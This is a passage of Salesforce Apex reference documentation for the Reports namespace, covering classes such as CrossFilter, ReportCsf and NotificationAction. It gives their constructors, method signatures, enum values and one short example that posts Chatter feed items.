IN THIS SECTION:
CrossFilter Constructors
CrossFilter Methods
CrossFilter Constructors
The following are constructors for CrossFilter.
IN THIS SECTION:
CrossFilter(criteria, includesObject, primaryEntityField, relatedEntity, relatedEntityJoinField)
Creates an instance of the Reports.CrossFilter class using the specified parameters.
CrossFilter()
Creates an instance of the Reports.CrossFilter class. You can then set values by using the class’s set methods.
CrossFilter(criteria, includesObject, primaryEntityField, relatedEntity,

relatedEntityJoinField)
Creates an instance of the Reports.CrossFilter class using the specified parameters.
Signature
public CrossFilter(List<Reports.ReportFilter> criteria, Boolean includesObject, String
primaryEntityField, String relatedEntity, String relatedEntityJoinField)
Parameters
criteria
Type: List<Reports.ReportFilter>
Information about how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.
includesObject
Type: Boolean
Specifies whether objects returned have a relationship with the relatedEntity (true) or not (false).
primaryEntityField
Type: String
The name of the object on which the cross filter is evaluated.
relatedEntity
Type: String
The name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
relatedEntityJoinField
Type: String
2177
The name of the field used to join the primaryEntityField and relatedEntity.
CrossFilter()
Creates an instance of the Reports.CrossFilter class. You can then set values by using the class’s set methods.
Signature
public CrossFilter()
CrossFilter Methods
The following are methods for CrossFilter.
IN THIS SECTION:
getCriteria()
Returns information about how to filter the relatedEntity. Describes the subset of the relatedEntity which the primary
entity is evaluated against.
getIncludesObject()
Returns true if primary object has a relationship with the relatedEntity, otherwise returns false.
getPrimaryEntityField()
Returns the name of the object on which the cross filter is evaluated.
getRelatedEntity()
Returns name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
getRelatedEntityJoinField()
Returns the name of the field used to join the primaryEntityField and relatedEntity.
setCriteria(criteria)
Specifis how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.
setIncludesObject(includesObject)
setPrimaryEntityField(primaryEntityField)
Specifies the name of the object on which the cross filter is evaluated.
setRelatedEntity(relatedEntity)
Specifies the name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
setRelatedEntityJoinField(relatedEntityJoinField)
Specifies the name of the field used to join the primaryEntityField and relatedEntity.
toString()
Returns a string.
getCriteria()
Returns information about how to filter the relatedEntity. Describes the subset of the relatedEntity which the primary
entity is evaluated against.
2178
Signature
public List<Reports.ReportFilter> getCriteria()
Return Value
getIncludesObject()
Returns true if primary object has a relationship with the relatedEntity, otherwise returns false.
Signature
public Boolean getIncludesObject()
Return Value
Type: Boolean
getPrimaryEntityField()
Returns the name of the object on which the cross filter is evaluated.
Signature
public String getPrimaryEntityField()
Return Value
Type: String
getRelatedEntity()
Returns name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
Signature
public String getRelatedEntity()
Return Value
Type: String
getRelatedEntityJoinField()
Returns the name of the field used to join the primaryEntityField and relatedEntity.
Signature
public String getRelatedEntityJoinField()
2179
Return Value
Type: String
setCriteria(criteria)
Specifis how to filter the relatedEntity. Relates the primary entity with a subset of the relatedEntity.
Signature
public void setCriteria(List<Reports.ReportFilter> criteria)
Parameters
criteria
Return Value
Type: void
setIncludesObject(includesObject)
Signature
public void setIncludesObject(Boolean includesObject)
Parameters
includesObject
Type: Boolean
Return Value
Type: void
setPrimaryEntityField(primaryEntityField)
Specifies the name of the object on which the cross filter is evaluated.
Signature
public void setPrimaryEntityField(String primaryEntityField)
Parameters
primaryEntityField
Type: String
2180
Return Value
Type: void
setRelatedEntity(relatedEntity)
Specifies the name of the object that the primaryEntityField is evaluated against—the right-hand side of the cross filter.
Signature
public void setRelatedEntity(String relatedEntity)
Parameters
relatedEntity
Type: String
Return Value
Type: void
setRelatedEntityJoinField(relatedEntityJoinField)
Specifies the name of the field used to join the primaryEntityField and relatedEntity.
Signature
public void setRelatedEntityJoinField(String relatedEntityJoinField)
Parameters
relatedEntityJoinField
Type: String
Return Value
Type: void
toString()
Returns a string.
Signature
Return Value
Type: String
2181
CsfGroupType Enum
The group level at which the custom summary format aggregate is displayed in a report.
Enum Values
The following are the values of the Reports.CsfGroupType enum.
Value Description
ALL The aggregate is displayed at the end of every summary row.
CUSTOM The aggregate is displayed at specified grouping levels.
GRAND_TOTAL The aggregate is displayed only at the grand total level.
DateGranularity Enum
The Reports.DateGranularity enum describes the date interval that is used for grouping.
Namespace
Reports
Usage
The GroupingInfo.getDateGranularity method returns a Reports.DateGranularity enum value. The
GroupingInfo.setDateGranularity method takes the enum value as an argument.
Enum Values
The following are the values of the Reports.DateGranularity enum.
Value Description
DAY The day of the week (Monday–Sunday)
DAY_IN_MONTH The day of the month (1–31)
FISCAL_PERIOD The fiscal period
FISCAL_QUARTER The fiscal quarter
FISCAL_WEEK The fiscal week
FISCAL_YEAR The fiscal year
MONTH The month (January–December)
MONTH_IN_YEAR The month number (1–12)
NONE No date grouping
QUARTER The quarter number (1–4)
2182
Value Description
WEEK The week number (1–52)
YEAR The year number (####)
DetailColumn Class
Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.
Namespace
Reports
DetailColumn Instance Methods

The following are instance methods for DetailColumn. All are instance methods.
IN THIS SECTION:
getName()
Returns the unique API name of the detail column field.
getLabel()
Returns the localized display name of a standard field, the ID of a custom field, or the API name of a bucket field that has detailed
data.
getDataType()
Returns the data type of a detail column field.
getName()
Returns the unique API name of the detail column field.
Syntax
Return Value
Type: String
getLabel()
Returns the localized display name of a standard field, the ID of a custom field, or the API name of a bucket field that has detailed data.
Syntax
2183
Return Value
Type: String
getDataType()
Returns the data type of a detail column field.
Syntax
Return Value
Dimension Class
Contains information for each row or column grouping.
Namespace
Reports
Dimension Methods
The following are methods for Dimension. All are instance methods.
IN THIS SECTION:
getGroupings()
Returns information for each row or column grouping as a list.
getGroupings()
Returns information for each row or column grouping as a list.
Syntax
public List<Reports.GroupingValue> getGroupings()
Return Value
Type: List<Reports.GroupingValue>
EvaluatedCondition Class
Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the
operator, and the value that the aggregate is compared to.
2184
Namespace
Reports
IN THIS SECTION:
EvaluatedCondition Constructors
EvaluatedCondition Methods
EvaluatedCondition Constructors
The following are constructors for EvaluatedCondition.
IN THIS SECTION:
EvaluatedCondition(aggregateName, aggregateLabel, compareToValue, aggregateValue, displayCompareTo, displayValue, operator)
Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.
EvaluatedCondition(aggregateName, aggregateLabel, compareToValue, aggregateValue,

displayCompareTo, displayValue, operator)
Creates a new instance of the Reports.EvaluatedConditions class using the specified parameters.
Signature
public EvaluatedCondition(String aggregateName, String aggregateLabel, Double
compareToValue, Double aggregateValue, String displayCompareTo, String displayValue,
Reports.EvaluatedConditionOperator operator)
Parameters
aggregateName
Type: String
The unique API name of the aggregate.
aggregateLabel
Type: String
The localized display name of the aggregate.
compareToValue
Type: Double
The value that the aggregate is compared to in the condition.
aggregateValue
Type: Double
The actual value of the aggregate when the report is run.
displayCompareTo
Type: String
The value that the aggregate is compared to in the condition, formatted for display. For example, a display value for a currency is
$20.00 or USD20.00 instead of 20.00.
2185
displayValue
Type: String
The value of the aggregate when the report is run, formatted for display. For example, a display value for a currency is $20.00 or
USD20.00 instead of 20.00.
operator
Type: Reports.EvaluatedConditionOperator
The operator used in the condition.
EvaluatedCondition Methods
The following are methods for EvaluatedCondition.
IN THIS SECTION:
getAggregateLabel()
Returns the localized display name of the aggregate.
getAggregateName()
Returns the unique API name of the aggregate.
getCompareTo()
Returns the value that the aggregate is compared to in the condition.
getDisplayCompareTo()
Returns the value that the aggregate is compared to in the condition, formatted for display. For example, a display value for a currency
is $20.00 or USD20.00 instead of 20.00.
getDisplayValue()
Returns the value of the aggregate when the report is run, formatted for display. For example, a display value for a currency is $20.00
or USD20.00 instead of 20.00.
getOperator()
Returns the operator used in the condition.
getValue()
Returns the actual value of the aggregate when the report is run.
getAggregateLabel()
Returns the localized display name of the aggregate.
Signature
public String getAggregateLabel()
Return Value
Type: String
getAggregateName()
Returns the unique API name of the aggregate.
2186
Signature
public String getAggregateName()
Return Value
Type: String
getCompareTo()
Returns the value that the aggregate is compared to in the condition.
Signature
public Double getCompareTo()
Return Value
Type: Double
getDisplayCompareTo()
Returns the value that the aggregate is compared to in the condition, formatted for display. For example, a display value for a currency
is $20.00 or USD20.00 instead of 20.00.
Signature
public String getDisplayCompareTo()
Return Value
Type: String
getDisplayValue()
Returns the value of the aggregate when the report is run, formatted for display. For example, a display value for a currency is $20.00 or
USD20.00 instead of 20.00.
Signature
public String getDisplayValue()
Return Value
Type: String
getOperator()
Returns the operator used in the condition.
2187
Signature
public Reports.EvaluatedConditionOperator getOperator()
Return Value
Type: Reports.EvaluatedConditionOperator
getValue()
Returns the actual value of the aggregate when the report is run.
Signature
public Double getValue()
Return Value
Type: Double
EvaluatedConditionOperator Enum
The Reports.EvaluatedConditionOperator enum describes the type of operator used to compare an aggregate to a
value. It is returned by the getOperator method.
Namespace
Reports
Enum Values
The following are the values of the Reports.EvaluatedConditionOperator enum.
Value Description
EQUAL Equality operator.
GREATER_THAN Greater than operator.
GREATER_THAN_EQUAL Greater than or equal to operator.
LESS_THAN Less than operator.
LESS_THAN_EQUAL Less than or equal to operator.
NOT_EQUAL Inequality operator.
FilterOperator Class
Contains information about a filter operator, such as display name and API name.
2188
Namespace
Reports
FilterOperator Methods
The following are methods for FilterOperator. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the
column being filtered.
getName()
Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column
being filtered. For example multipicklist fields can use the following filter operators: “equals,” “not equal to,” “includes,” and
“excludes.” Bucket fields are considered to be of the String type.
getLabel()
Returns the localized display name of the filter operator. Possible values for this name are restricted based on the data type of the column
being filtered.
Syntax
Return Value
Type: String
getName()
Returns the unique API name of the filter operator. Possible values for this name are restricted based on the data type of the column
being filtered. For example multipicklist fields can use the following filter operators: “equals,” “not equal to,” “includes,” and
“excludes.” Bucket fields are considered to be of the String type.
Syntax
Return Value
Type: String
FilterValue Class
Contains information about a filter value, such as the display name and API name.
2189
Namespace
Reports
FilterValue Methods
The following are methods for FilterValue. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column
being filtered.
getName()
Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column
being filtered.
getLabel()
Returns the localized display name of the filter value. Possible values for this name are restricted based on the data type of the column
being filtered.
Syntax
Return Value
Type: String
getName()
Returns the unique API name of the filter value. Possible values for this name are restricted based on the data type of the column being
filtered.
Syntax
Return Value
Type: String
FormulaType Enum
The format of the numbers in a custom summary formula.
Enum Values
The following are the values of the Reports.FormulaType enum.
2190
Value Description
CURRENCY Formatted as currency. For example, $100.00.
NUMBER Formatted as numbers. For example, 100.
PERCENT Formatted as percentages. For example, 100%.
GroupingColumn Class
Contains methods for describing fields that are used for column grouping.
Namespace
Reports
The GroupingColumn class provides basic information about column grouping fields. The GroupingInfo class includes
additional methods for describing and updating grouping fields.
GroupingColumn Methods
The following are methods for GroupingColumn. All are instance methods.
IN THIS SECTION:
getName()
Returns the unique API name of the field or bucket field that is used for column grouping.
getLabel()
Returns the localized display name of the field that is used for column grouping.
getDataType()
Returns the data type of the field that is used for column grouping.
getGroupingLevel()
Returns the level of grouping for the column.
getName()
Returns the unique API name of the field or bucket field that is used for column grouping.
Syntax
Return Value
Type: String
getLabel()
Returns the localized display name of the field that is used for column grouping.
2191
Syntax
Return Value
Type: String
getDataType()
Returns the data type of the field that is used for column grouping.
Syntax
Return Value
getGroupingLevel()
Returns the level of grouping for the column.
Syntax
public Integer getGroupingLevel()
Return Value
Type: Integer
Usage
• In a summary report, 0, 1, or 2 indicates grouping at the first, second, or third row level.
• In a matrix report, 0 or 1 indicates grouping at the first or second row or column level.
GroupingInfo Class
Contains methods for describing fields that are used for grouping.
Namespace
Reports
GroupingInfo Methods
The following are methods for GroupingInfo. All are instance methods.
2192
IN THIS SECTION:
getName()
Returns the unique API name of the field or bucket field that is used for row or column grouping.
getSortOrder()
Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).
getDateGranularity()
Returns the date interval that is used for row or column grouping.
getSortAggregate()
Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a
grouping is not sorted by a summary field.
getName()
Returns the unique API name of the field or bucket field that is used for row or column grouping.
Syntax
Return Value
Type: String
getSortOrder()
Returns the order that is used to sort data in a row or column grouping (ASCENDING or DESCENDING).
Syntax
public Reports.ColumnSortOrder getSortOrder()
Return Value
Type: Reports.ColumnSortOrder
getDateGranularity()
Returns the date interval that is used for row or column grouping.
Syntax
public Reports.DateGranularity getDateGranularity()
Return Value
Type: Reports.DateGranularity
2193
getSortAggregate()
Returns the summary field that is used to sort data within a grouping in a summary report. The value is null when data within a grouping
is not sorted by a summary field.
Syntax
public String getSortAggregate()
Return Value
Type: String
GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.
Namespace
Reports
GroupingValue Methods
The following are methods for GroupingValue. All are instance methods.
IN THIS SECTION:
getGroupings()
Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.
getKey()
Returns the unique identifier for a row or column grouping. The identifier is used by the fact map to specify data values within each
grouping.
getLabel()
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.
getValue()
Returns the value of the field that is used as a row or column grouping.
getGroupings()
Returns a list of second- or third-level row or column groupings. If there are none, the value is an empty array.
Syntax
public LIST<Reports.GroupingValue> getGroupings()
Return Value
Type: List<Reports.GroupingValue>
2194
getKey()
Returns the unique identifier for a row or column grouping. The identifier is used by the fact map to specify data values within each
grouping.
Syntax
public String getKey()
Return Value
Type: String
getLabel()
Returns the localized display name of a row or column grouping. For date and time fields, the label is the localized date or time.
Syntax
Return Value
Type: String
getValue()
Returns the value of the field that is used as a row or column grouping.
Syntax
public Object getValue()
Return Value
Type: Object
Usage
The value depends on the field’s data type.
• Currency fields:
– amount: Of type currency. A data cell’s value.
– currency: Of type picklist. The ISO 4217 currency code, if available; for example, USD for US dollars or CNY for Chinese yuan.
(If the grouping is on the converted currency, this value is the currency code for the report and not for the record.)
• Picklist fields: API name. For example, a custom picklist field—Type of Business with values 1, 2, and 3 for Consulting,
Services, and Add-On Business respectively—has 1, 2, or 3 as the grouping value.
• ID fields: API name.
• Record type fields: API name.
• Date and time fields: Date or time in ISO-8601 format.
2195
• Lookup fields: Unique API name. For example, for the Opportunity Owner lookup field, the ID of each opportunity owner’s
Chatter profile page can be a grouping value.
NotificationAction Interface
Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.
Namespace
Reports
Usage
Report notifications for reports that users have subscribed to can trigger a custom Apex class, which must implement the
Reports.NotificationAction interface. The execute method in this interface receives a
NotificationActionContext object as a parameter, which contains information about the report instance and the conditions
that must be met for a notification to be triggered.
IN THIS SECTION:
NotificationAction Methods
NotificationAction Example Implementation
NotificationAction Methods
The following are methods for NotificationAction.
IN THIS SECTION:
execute(context)
Executes the custom Apex action specified in the context parameter of the context object, NotificationActionContext.
The object contains information about the report instance and the conditions that must be met for a notification to be triggered.
The method executes whenever the specified conditions are met.
execute(context)
Executes the custom Apex action specified in the context parameter of the context object, NotificationActionContext.
The object contains information about the report instance and the conditions that must be met for a notification to be triggered. The
method executes whenever the specified conditions are met.
Signature
public void execute(Reports.NotificationActionContext context)
Parameters
context
Type: Reports.NotificationActionContext
2196
Return Value
Type: Void
NotificationAction Example Implementation

This is an example implementation of the Reports.NotificationAction interface.
public class AlertOwners implements Reports.NotificationAction {
public void execute(Reports.NotificationActionContext context) {

Reports.ReportResults results = context.getReportInstance().getReportResults();
for(Reports.GroupingValue g: results.getGroupingsDown().getGroupings()) {
FeedItem t = new FeedItem();
t.ParentId = (Id)g.getValue();
t.Body = 'This record needs attention. Please view the report.';
t.Title = 'Needs Attention: '+ results.getReportMetadata().getName();
t.LinkUrl = '/' + results.getReportMetadata().getId();
insert t;
}
}
}
NotificationActionContext Class
Contains information about the report instance and condition threshold for a report notification.
Namespace
Reports
IN THIS SECTION:
NotificationActionContext Constructors
NotificationActionContext Methods
NotificationActionContext Constructors
The following are constructors for NotificationActionContext.
IN THIS SECTION:
NotificationActionContext(reportInstance, thresholdInformation)
Creates a new instance of the Reports.NotificationActionContext class using the specified parameters.
NotificationActionContext(reportInstance, thresholdInformation)
Creates a new instance of the Reports.NotificationActionContext class using the specified parameters.
2197
Signature
public NotificationActionContext(Reports.ReportInstance reportInstance,
Reports.ThresholdInformation thresholdInformation)
Parameters
reportInstance
Type: Reports.ReportInstance
An instance of a report.
thresholdInformation
Type: Reports.ThresholdInformation
The evaluated conditions for the notification.
NotificationActionContext Methods
The following are methods for NotificationActionContext.
IN THIS SECTION:
getReportInstance()
Returns the report instance associated with the notification.
getThresholdInformation()
Returns the threshold information associated with the notification.
getReportInstance()
Returns the report instance associated with the notification.
Signature
public Reports.ReportInstance getReportInstance()
Return Value
getThresholdInformation()
Returns the threshold information associated with the notification.
Signature
public Reports.ThresholdInformation getThresholdInformation()
Return Value
Type: Reports.ThresholdInformation
2198
ReportCsf Class
Contains methods and constructors for working with information about a custom summary formula (CSF).
Namespace
Reports
IN THIS SECTION:
ReportCsf Constructors
ReportCsf Methods
ReportCsf Constructors
The following are constructors for ReportCsf.
IN THIS SECTION:
ReportCsf(label, description, formulaType, decimalPlaces, downGroup, downGroupType, acrossGroup, acrossGroupType, formula)
Creates an instance of the Reports.ReportCsf class using the specified parameters.
ReportCsf()
Creates an instance of the Reports.ReportCsf class. You can then set values by using the class’s set methods.
ReportCsf(label, description, formulaType, decimalPlaces, downGroup, downGroupType,

acrossGroup, acrossGroupType, formula)
Creates an instance of the Reports.ReportCsf class using the specified parameters.
Signature
public ReportCsf(String label, String description, Reports.FormulaType formulaType,
Integer decimalPlaces, String downGroup, Reports.CsfGroupType downGroupType, String
acrossGroup, Reports.CsfGroupType acrossGroupType, String formula)
Parameters
label
Type: String
The user-facing name of the custom summary formula.
description
Type: String
The user-facing description of the custom summary formula.
formulaType
Type: Reports.FormulaType
The format of the numbers in the custom summary formula.
2199
decimalPlaces
Type: Integer
The number of decimal places to include in numbers.
downGroup
Type: String
The name of a row grouping when the downGroupType is CUSTOM; null otherwise.
downGroupType
Type: Reports.CsfGroupType
Where to display the aggregate of the custom summary formula.
acrossGroup
Type: String
The name of a column grouping when the accrossGroupType is CUSTOM; null otherwise.
acrossGroupType
Where to display the aggregate of the custom summary formula.
formula
Type: String
The operations performed on values in the custom summary formula.
ReportCsf()
Creates an instance of the Reports.ReportCsf class. You can then set values by using the class’s set methods.
Signature
public ReportCsf()
ReportCsf Methods
The following are methods for ReportCsf.
IN THIS SECTION:
getAcrossGroup()
Returns the name of a column grouping when the acrossGroupType is CUSTOM. Otherwise, returns null.
getAcrossGroupType()
Returns where to display the aggregate.
getDecimalPlaces()
Returns the number of decimal places that numbers in the custom summary formula have.
getDescription()
Returns the user-facing description of a custom summary formula.
getDownGroup()
Returns the name of a row grouping when the downGroupType is CUSTOM. Otherwise, returns null.
2200
getDownGroupType()
Returns where to display the aggregate of the custom summary formula.
getFormula()
Returns the operations performed on values in the custom summary formula.
getFormulaType()
Returns the formula type.
getLabel()
Returns the user-facing name of the custom summary formula.
setAcrossGroup(acrossGroup)
Specifies the column for the across grouping.
setAcrossGroupType(value)
Sets where to display the aggregate.
setAcrossGroupType(acrossGroupType)
setDecimalPlaces(decimalPlaces)
Sets the number of decimal places in numbers.
Sets the user-facing description of the custom summary formula.
setDownGroup(downGroup)
Sets the name of a row grouping when the downGroupType is CUSTOM.
setDownGroupType(value)
setDownGroupType(downGroupType)
setFormula(formula)
Sets the operations to perform on values in the custom summary formula.
setFormulaType(value)
Sets the format of the numbers in the custom summary formula.
setFormulaType(formulaType)
Sets the format of numbers used in the custom summary formula.
setLabel(label)
Sets the user-facing name of the custom summary formula.
toString()
Returns a string.
getAcrossGroup()
Returns the name of a column grouping when the acrossGroupType is CUSTOM. Otherwise, returns null.
Signature
public String getAcrossGroup()
2201
Return Value
Type: String
getAcrossGroupType()
Returns where to display the aggregate.
Signature
public Reports.CsfGroupType getAcrossGroupType()
Return Value
getDecimalPlaces()
Returns the number of decimal places that numbers in the custom summary formula have.
Signature
public Integer getDecimalPlaces()
Return Value
Type: Integer
getDescription()
Returns the user-facing description of a custom summary formula.
Signature
public String getDescription()
Return Value
Type: String
getDownGroup()
Returns the name of a row grouping when the downGroupType is CUSTOM. Otherwise, returns null.
Signature
public String getDownGroup()
Return Value
Type: String
2202
getDownGroupType()
Returns where to display the aggregate of the custom summary formula.
Signature
public Reports.CsfGroupType getDownGroupType()
Return Value
getFormula()
Returns the operations performed on values in the custom summary formula.
Signature
public String getFormula()
Return Value
Type: String
getFormulaType()
Returns the formula type.
Signature
public Reports.FormulaType getFormulaType()
Return Value
getLabel()
Returns the user-facing name of the custom summary formula.
Signature
Return Value
Type: String
setAcrossGroup(acrossGroup)
Specifies the column for the across grouping.
2203
Signature
public void setAcrossGroup(String acrossGroup)
Parameters
acrossGroup
Type: String
Return Value
Type: void
setAcrossGroupType(value)
Signature
public void setAcrossGroupType(String value)
Parameters
value
Type: String
For possible values, see Reports.CsfGroupType.
Return Value
Type: void
setAcrossGroupType(acrossGroupType)
Signature
public void setAcrossGroupType(Reports.CsfGroupType acrossGroupType)
Parameters
acrossGroupType
Return Value
Type: void
setDecimalPlaces(decimalPlaces)
Sets the number of decimal places in numbers.
2204
Signature
public void setDecimalPlaces(Integer decimalPlaces)
Parameters
decimalPlaces
Type: Integer
Return Value
Type: void
Sets the user-facing description of the custom summary formula.
Signature
public void setDescription(String description)
Parameters
description
Type: String
Return Value
Type: void
setDownGroup(downGroup)
Sets the name of a row grouping when the downGroupType is CUSTOM.
Signature
public void setDownGroup(String downGroup)
Parameters
downGroup
Type: String
Return Value
Type: void
setDownGroupType(value)
2205
Signature
public void setDownGroupType(String value)
Parameters
value
Type: String
For valid values, see Reports.CsfGroupType.
Return Value
Type: void
setDownGroupType(downGroupType)
Signature
public void setDownGroupType(Reports.CsfGroupType downGroupType)
Parameters
downGroupType
Return Value
Type: void
setFormula(formula)
Sets the operations to perform on values in the custom summary formula.
Signature
public void setFormula(String formula)
Parameters
formula
Type: String
Return Value
Type: void
setFormulaType(value)
Sets the format of the numbers in the custom summary formula.
2206
Signature
public void setFormulaType(String value)
Parameters
value
Type: String
For valid values, see Reports.FormulaType.
Return Value
Type: void
setFormulaType(formulaType)
Sets the format of numbers used in the custom summary formula.
Signature
public void setFormulaType(Reports.FormulaType formulaType)
Parameters
formulaType
Return Value
Type: void
setLabel(label)
Sets the user-facing name of the custom summary formula.
Signature
Parameters
label
Type: String
Return Value
Type: void
toString()
Returns a string.
2207
Signature
Return Value
Type: String
ReportCurrency Class
Contains information about a currency value, including the amount and currency code.
Namespace
Reports
ReportCurrency Methods
The following are methods for ReportCurrency. All are instance methods.
IN THIS SECTION:
getAmount()
Returns the amount of the currency value.
getCurrencyCode()
Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null
if the organization does not have multicurrency enabled.
getAmount()
Returns the amount of the currency value.
Syntax
public Decimal getAmount()
Return Value
Type: Decimal
getCurrencyCode()
Returns the report currency code, such as USD, EUR, or GBP, for an organization that has multicurrency enabled. The value is null if
the organization does not have multicurrency enabled.
Syntax
public String getCurrencyCode()
2208
Return Value
Type: String
ReportDataCell Class
Contains the data for a cell in the report, including the display label and value.
Namespace
Reports
ReportDataCell Methods
The following are methods for ReportDataCell. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the value of a specified cell in the report.
getValue()
Returns the value of a specified cell of a detail row of a report.
getLabel()
Returns the localized display name of the value of a specified cell in the report.
Syntax
Return Value
Type: String
getValue()
Returns the value of a specified cell of a detail row of a report.
Syntax
Return Value
Type: Object
ReportDescribeResult Class
Contains report, report type, and extended metadata for a tabular, summary, or matrix report.
2209
Namespace
Reports
ReportDescribeResult Methods
The following are methods for ReportDescribeResult. All are instance methods.
IN THIS SECTION:
getReportExtendedMetadata()
Returns additional information about grouping and summaries.
getReportMetadata()
Returns unique identifiers for groupings and summaries.
getReportTypeMetadata()
Returns the fields in each section of a report type, plus filtering information for those fields.
Returns additional information about grouping and summaries.
Syntax
public Reports.ReportExtendedMetadata getReportExtendedMetadata()
Return Value
Type: Reports.ReportExtendedMetadata
getReportMetadata()
Returns unique identifiers for groupings and summaries.
Syntax
public Reports.ReportMetadata getReportMetadata()
Return Value
Type: Reports.ReportMetadata
getReportTypeMetadata()
Returns the fields in each section of a report type, plus filtering information for those fields.
Syntax
public Reports.ReportTypeMetadata getReportTypeMetadata()
2210
Return Value
Type: Reports.ReportTypeMetadata
ReportDetailRow Class
Contains data cells for a detail row of a report.
Namespace
Reports
ReportDetailRow Methods
The following are methods for ReportDetailRow. All are instance methods.
IN THIS SECTION:
getDataCells()
Returns a list of data cells for a detail row.
getDataCells()
Returns a list of data cells for a detail row.
Syntax
public LIST<Reports.ReportDataCell> getDataCells()
Return Value
Type: List<Reports.ReportDataCell>
ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.
Available only if your organization uses divisions to segment data and you have the “Affected by Divisions” permission. If you do not
have the “Affected by Divisions” permission, your reports include records in all divisions.
Namespace
Reports
Usage
Use to filter records in the report based on a division, like West Coast and East Coast.
ReportDivisionInfo Methods
The following are methods for ReportDivisionInfo.
2211
getDefaultValue()
Returns the default division for the report.
Signature
Return Value
Type: String
getValues()
Returns a list of all possible divisions for the report.
Signature
public List<Reports.FilterValue> getValues()
Return Value
Type: List<Reports.FilterValue>
ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.
Namespace
Reports
Report extended metadata provides additional, detailed metadata about summary and grouping fields, including data type and label
information.
ReportExtendedMetadata Methods
The following are methods for ReportExtendedMetadata. All are instance methods.
IN THIS SECTION:
getAggregateColumnInfo()
Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains
values for each summary that is listed in the report metadata.
getDetailColumnInfo()
Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are
also listed in the report metadata.
getGroupingColumnInfo()
Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the
groupingsDown and groupingsAcross lists.
2212
getAggregateColumnInfo()
Returns all report summaries such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Contains values
for each summary that is listed in the report metadata.
Syntax
public MAP<String,Reports.AggregateColumn> getAggregateColumnInfo()
Return Value
Type: Map<String,Reports.AggregateColumn>
getDetailColumnInfo()
Returns a map of two properties for each field that has detailed data identified by its unique API name. The detailed data fields are also
listed in the report metadata.
Syntax
public MAP<String,Reports.DetailColumn> getDetailColumnInfo()
Return Value
Type: Map<String,Reports.DetailColumn>
getGroupingColumnInfo()
Returns a map of each row or column grouping to its metadata. Contains values for each grouping that is identified in the groupingsDown
and groupingsAcross lists.
Syntax
public MAP<String,Reports.GroupingColumn> getGroupingColumnInfo()
Return Value
Type: Map<String,Reports.GroupingColumn>
ReportFact Class
Contains the fact map for the report, which represents the report’s data values.
Namespace
Reports
2213
Usage
ReportFact is the parent class of ReportFactWithDetails and ReportFactWithSummaries. If includeDetails
is true when the report is run, the fact map is a ReportFactWithDetails object. If includeDetails is false when
the report is run, the fact map is a ReportFactWithSummaries object.
ReportFact Methods
The following are methods for ReportFact. All are instance methods.
IN THIS SECTION:
getAggregates()
Returns summary-level data for a report, including the record count.
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each
grouping.
getAggregates()
Syntax
public LIST<Reports.SummaryValue> getAggregates()
Return Value
Type: List<Reports.SummaryValue>
getKey()
Returns the unique identifier for a row or column grouping. This identifier can be used to index specific data values within each grouping.
Syntax
Return Value
Type: String
ReportFactWithDetails Class
Contains the detailed fact map for the report, which represents the report’s data values.
Namespace
Reports
2214
Usage
The ReportFactWithDetails class extends the ReportFact class. A ReportFactWithDetails object is returned if
includeDetails is set to true when the report is run. To access the detail values, you’ll need to cast the return value of the
ReportResults.getFactMap method to a ReportFactWithDetails object.
ReportFactWithDetails Methods
The following are methods for ReportFactWithDetails. All are instance methods.
IN THIS SECTION:
getAggregates()
getKey()
grouping.
getRows()
Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.
getAggregates()
Syntax
Return Value
getKey()
Syntax
Return Value
Type: String
getRows()
Returns a list of detailed report data in the order of the detail columns that are provided by the report metadata.
2215
Syntax
public LIST<Reports.ReportDetailRow> getRows()
Return Value
Type: List<Reports.ReportDetailRow>
ReportFactWithSummaries Class
Contains the fact map for the report, which represents the report’s data values, and includes summarized fields.
Namespace
Reports
Usage
The ReportFactWithSummaries class extends the ReportFact class. A ReportFactWithSummaries object is
returned if includeDetails is set to false when the report is run.
ReportFactWithSummaries Methods
The following are methods for ReportFactWithSummaries. All are instance methods.
IN THIS SECTION:
getAggregates()
getKey()
grouping.
toString()
Returns a string.
getAggregates()
Syntax
Return Value
getKey()
2216
Syntax
Return Value
Type: String
toString()
Returns a string.
Signature
Return Value
Type: String
ReportFilter Class
Contains information about a report filter, including column, operator, and value.
Namespace
Reports
IN THIS SECTION:
ReportFilter Constructors
ReportFilter Methods
ReportFilter Constructors
The following are constructors for ReportFilter.
IN THIS SECTION:
ReportFilter()
Creates a new instance of the Reports.ReportFilter class. You can then set values by using the “set” methods.
ReportFilter(column, operator, value)
Creates a new instance of the Reports.ReportFilter class by using the specified parameters.
ReportFilter()
Creates a new instance of the Reports.ReportFilter class. You can then set values by using the “set” methods.
2217
Signature
public ReportFilter()
ReportFilter(column, operator, value)

Creates a new instance of the Reports.ReportFilter class by using the specified parameters.
Signature
public ReportFilter(String column, String operator, String value)
Parameters
column
Type: String
